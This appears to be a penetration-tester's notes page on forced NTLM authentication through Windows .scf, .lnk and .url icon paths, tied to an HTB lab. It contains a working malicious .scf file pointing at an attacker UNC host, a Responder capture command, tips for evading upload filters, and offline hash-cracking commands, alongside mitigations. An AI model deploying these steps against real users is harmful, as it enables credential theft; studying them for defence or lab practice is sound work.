🧠 Forced NTLM Authentication (SCF, LNK, URL)

What is it?

• Concept: Several legacy Windows shell file formats — .scf (Shell Command File), .lnk (shortcut), .url (internet shortcut) — let the file specify a custom icon by path. If that path is a UNC path (\\<host>\share\icon.ico) instead of a local file, Windows Explorer fetches it automatically the instant the file’s containing folder is listed, to render the icon — no double-click, no execution, no user interaction beyond opening the folder.
• Impact: Turns “I can get a file placed somewhere it will be browsed” (an upload portal, a writable share, a manual file-review process) into NTLM credential capture, with zero interaction required from the victim beyond looking at the folder.

How it works

1. A .scf file’s [Shell] section supports an IconFile key; .lnk/.url files have equivalent icon-path fields. Explorer resolves whichever path is given purely to draw the file’s icon in a folder listing.
2. Pointing that path at a UNC location (\\<attacker_ip>\share\icon.ico) makes Explorer open an SMB connection to fetch it the moment the folder is rendered — this happens automatically and silently, before the user does anything else.
3. Windows’ SMB client authenticates that connection with the current user’s credentials over NTLM, sending a NetNTLMv2 challenge-response as part of the handshake — captured directly by a rogue SMB listener like Responder sitting at the target IP, since the auth exchange completes before any actual file transfer is needed (the attacker doesn’t even need a real file at that share path).
4. The captured value is a challenge-response, not a directly reusable password hash — it has to be cracked offline (same workflow as any other hash) or relayed live to another service, not passed straight into pass-the-hash tooling.

Exploitation

Prerequisites

• Ability to place a file somewhere it will be listed/browsed by another user or an automated review process (upload feature, writable share, etc.)
• A listener capable of capturing SMB/NTLM authentication attempts

Attack Vectors

# 1. Start a listener to capture the authentication attempt
sudo responder -I tun0 -w

# 2. Malicious .scf file — Explorer fetches the icon the instant the folder is listed,
# no click or execution required
[Shell]
Command=2
IconFile=\\<attacker_ip>\share\icon.ico

# 3. Deliver the file wherever it will get browsed — an upload portal, a writable
# share, anywhere a person or automated process will open that folder

The moment the file’s containing folder is opened by anyone, the NetNTLMv2 handshake lands directly in the listener’s output.

Notes

• .lnk and .url files work through the identical UNC-icon mechanism — worth trying whichever extension an upload filter doesn’t block, since a filter that only rejects .exe/.scr commonly still accepts these.
• desktop.ini abuses the same mechanism and is worth trying when individual file uploads are filtered but a whole folder/archive can still be dropped.
• Crack the captured hash offline with John the Ripper (john --format=netntlmv2 <hashfile> --wordlist=/usr/share/wordlists/rockyou.txt) or Hashcat (-m 5600) — this isn’t part of the Offline Cracking of Password-Protected Files (*2john) family, since there’s no file format to extract from; the hash is captured live off the wire, not pulled out of a file.

Mitigation

• Fix: Block outbound SMB (139/445) to untrusted networks at the perimeter, and disable NTLM entirely (or enforce SMB signing + Kerberos-only authentication) where feasible — the technique depends entirely on an NTLM handshake completing against an attacker-reachable listener.

Related Usage

File	Created
HTB - Driver	July 24, 2026

---

References:

• MITRE ATT&CK T1187 - Forced Authentication
• Responder GitHub